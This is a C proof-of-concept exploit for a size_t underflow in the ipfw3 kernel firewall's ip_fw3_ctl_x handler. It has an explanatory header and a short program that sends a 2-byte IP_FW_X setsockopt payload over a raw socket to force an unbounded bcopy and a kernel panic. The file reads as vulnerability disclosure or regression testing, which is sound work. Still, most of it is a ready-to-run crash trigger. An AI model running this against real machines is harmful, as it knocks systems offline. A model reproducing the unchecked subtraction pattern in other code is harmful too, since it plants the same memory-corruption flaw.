/*
 * DF-0471 PoC — size_t underflow in ip_fw3_ctl_x() -> unbounded bcopy panic.
 *
 * Bug (sys/net/ipfw3/ip_fw3.c:1038-1047):
 *
 *   int ip_fw3_ctl_x(struct sockopt *sopt) {
 *       ip_fw_x_header *x_header;
 *       x_header = (ip_fw_x_header *)(sopt->sopt_val);
 *       sopt->sopt_name = x_header->opcode;            // :1043
 *       sopt->sopt_valsize -= sizeof(ip_fw_x_header);  // :1044  NO bounds check
 *       bcopy(++x_header, sopt->sopt_val, sopt->sopt_valsize); // :1045
 *       return ip_fw3_ctl(sopt);
 *   }
 *
 * sopt->sopt_valsize is size_t (unsigned). setsockopt(s, IPPROTO_IP, IP_FW_X,
 * buf, len) with len in {1,2,3} is allowed by kern_setsockopt (only len==0 and
 * len>SOMAXOPT_SIZE are rejected), so sopt_valsize arrives here as 1..3. After
 * `-= 4` it wraps to ~(2^64)-3 .. ~(2^64)-1 and the bcopy immediately walks off
 * the end of mapped kernel address space -> fatal page fault -> kernel panic.
 *
 * This is the *IP_FW_X* (==49) extended-control opcode; raw_ip.c:385 routes
 * SOPT_SET IP_FW_X straight to ip_fw3_sockopt() -> ip_fw3_ctl_x().
 *
 * Trigger is root-only: a raw IP socket (SOCK_RAW / IPPROTO_RAW) is required to
 * reach rip_ctloutput at all.  No unprivileged boundary is crossed; the impact
 * is a kernel memory-corruption / DoS primitive reachable from a root (or
 * compromised-root / setuid-ipfw3 / jail-escape) context.
 *
 * Build:  cc -Wall -o uflow uflow.c
 * Run (as root, ipfw3 kldloaded):
 *         ./uflow        # guest panics (fatal trap 12 / 9 in bcopy)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IP_FW_X
#define IP_FW_X    49      /* sys/netinet/in.h: ipfw3 extended ctl opcode */
#endif

int
main(void)
{
    int s, rc;
    /*
     * Supply a 2-byte payload. sizeof(ip_fw_x_header) is 4 (uint16 opcode +
     * uint16 pad). valsize=2 passes kern_setsockopt (which only rejects 0 and
     * >SOMAXOPT_SIZE), so ip_fw3_ctl_x sees sopt_valsize==2, subtracts 4 =>
     * 0xfffffffffffffffe, and the bcopy faults.
     */
    unsigned char buf[2] = { 0x32, 0x00 };  /* opcode low byte = IP_FW_ADD=50 */

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        /* raw sockets require root */
        fprintf(stderr, "socket(AF_INET,SOCK_RAW,IPPROTO_RAW): %s\n",
                strerror(errno));
        fprintf(stderr, "(this PoC must run as root)\n");
        return 1;
    }
    printf("[*] raw socket fd=%d\n", s);
    printf("[*] setsockopt(IPPROTO_IP, IP_FW_X=%d, buf, 2) -- "
           "expect kernel panic from size_t-underflow bcopy\n", IP_FW_X);
    fflush(stdout);

    rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, (socklen_t)sizeof(buf));
    /* If we get here the kernel did NOT panic -> bug absent / fixed. */
    printf("[!] setsockopt returned rc=%d errno=%d (%s)\n",
           rc, errno, strerror(errno));
    if (rc == 0 || (rc < 0 && errno != EINVAL)) {
        printf("[!] BUG PRESENT: kernel accepted a <4-byte IP_FW_X payload "
               "(should have been EINVAL)\n");
    } else {
        printf("[+] kernel correctly rejected short payload (EINVAL) -> "
               "bug absent / fixed\n");
    }
    close(s);
    return 0;
}
